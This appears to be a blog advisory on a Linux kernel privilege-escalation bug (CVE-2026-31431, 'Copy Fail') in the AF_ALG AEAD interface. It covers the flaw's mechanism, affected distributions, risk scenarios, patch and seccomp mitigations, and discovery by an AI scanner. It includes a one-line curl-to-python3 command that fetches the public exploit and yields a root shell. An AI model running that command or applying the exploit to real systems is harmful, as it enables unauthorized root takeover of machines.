Copy Fail - 732 Bytes to Root on Every Linux Since 2017
Most local privilege escalation exploits need a race window. A kernel-specific offset. A carefully constructed sequence of syscalls that only works on one distro, one kernel version, one Tuesday when Mercury is in retrograde.
Copy Fail needs none of that.
The same 732-byte Python script - stdlib only, no compilation, no external dependencies - drops a root shell on Ubuntu, Amazon Linux, RHEL, and SUSE. In one take. Unmodified.
Bug
The vulnerability is CVE-2026-31431, found in authencesn - the kernel’s combined authentication-and-encryption module. A logic flaw introduced in 2017 in algif_aead (the AF_ALG interface for AEAD ciphers) causes page cache pages to land in the writable destination scatterlist when they shouldn’t.
Chain it with splice() and you get a 4-byte arbitrary write into the page cache. Target /usr/bin/su or any setuid binary. Done.
The write isn’t persistent across reboot. The root shell absolutely is.
What makes this particularly uncomfortable: AF_ALG is enabled by default in essentially every mainstream Linux distribution. There’s no unusual configuration required. If your kernel was built between 2017 and the patch date, you’re in scope.
Who’s affected
If you’re running a mainstream Linux distribution and haven’t patched yet, you’re affected. The researchers directly verified:
| Distribution | Kernel |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
Debian, Arch, Fedora, Rocky, Alma, Oracle — same story if the kernel version falls in the affected range. This isn’t a distro-specific quirk. It’s a kernel bug.
The exploit only requires an unprivileged local user account. No network access. No debug interfaces. No pre-installed primitives.
The High-Risk Scenarios
Multi-tenant Linux hosts. Shared dev boxes, jump hosts, build servers. Anyone who can SSH in becomes root. This is the obvious one.
Kubernetes clusters. The page cache is shared across the host. A compromised pod isn’t just a pod problem anymore - it’s a node problem, and potentially a cross-tenant problem.
CI runners. GitHub Actions self-hosted runners, GitLab agents, Jenkins nodes that execute PR code. A malicious pull request doesn’t just exfiltrate secrets. It roots the runner. Think about what else has access to that machine.
Cloud SaaS running user code. Notebook hosts, agent sandboxes, serverless containers. The blast radius is obvious.
Standard single-tenant servers are lower priority - but not zero. Combined with a web RCE or stolen credentials, local privilege escalation completes the chain.
Exploit
The PoC is published. Python 3.10+, pure stdlib (os, socket, zlib). Targets /usr/bin/su by default, accepts any setuid binary as argv[1].
$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
The PoC is public so defenders can verify their own systems and validate vendor patches. Use responsibly. Run only on systems you own or have written authorization to test.
How to Fix It
Step one: patch. Update to a kernel that includes mainline commit a664bf3d603d. It reverts the 2017 algif_aead in-place optimization. Most major distributions are shipping the fix now.
Step two: if you can’t patch immediately, disable algif_aead:
# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aeadFor the vast majority of systems, this breaks nothing measurable. It does not affect dm-crypt/LUKS, kTLS, IPsec, OpenSSL, GnuTLS, NSS, or SSH. These all use the in-kernel crypto API directly — not through AF_ALG.
The only things potentially affected are userspace applications explicitly configured to use AF_ALG — OpenSSL with the afalg engine enabled, some embedded crypto offload paths, or anything that binds aead/skcipher/hash sockets directly. Check with:
lsof | grep AF_ALGFor untrusted workloads (containers, CI, sandboxes): block AF_ALG socket creation via seccomp regardless of patch status.
The Timeline
2026-03-23- Reported to the Linux kernel security team2026-03-24- Initial acknowledgment2026-03-25- Patches proposed and reviewed2026-04-01- Patch committed to mainline2026-04-22- CVE-2026-31431 assigned2026-04-29- Public disclosure atcopy.failRoughly five weeks from report to public disclosure. That’s a reasonable timeline for something this serious.
How It Was Found
This is the part I find most interesting.
Copy Fail was surfaced by Xint Code - an AI-powered static analysis tool - after about an hour of scan time against the Linux crypto/ subsystem. The same scan apparently surfaced other high-severity bugs that are still in coordinated disclosure.
One hour. Nine years of exposure.
I don’t think this means human reviewers were asleep. The Linux kernel crypto/ subsystem is vast, complex, and receives constant changes. Logic bugs in the interaction between AEAD interfaces and scatter-gather lists are exactly the kind of thing that’s easy to overlook when you’re reviewing a specific commit in isolation but hard to catch when you don’t have a bird’s-eye view of how primitives interact at runtime.
AI tooling that can reason about cross-subsystem data flow changes the economics of this kind of audit. The question isn’t whether this is impressive — it clearly is. The question is how many more a664bf3d603d-shaped bugs are sitting in codebases right now waiting for someone (or something) to point a scanner at the right directory.
What to Do Right Now
- Check if your kernel includes
a664bf3d603d. Your distribution vendor’s security advisory will confirm. - If not patched:
rmmod algif_aeadand block it via modprobe. - For Kubernetes and CI environments: seccomp policy to block
AF_ALGsocket creation, regardless of patch state. - Check your runner setup. If you’re running untrusted PR code on a shared kernel - read point 3 again. The exploit is public. The patch is available. The window between those two facts is the only thing that matters right now.
This site runs on coffee and good intentions. Help keep it running?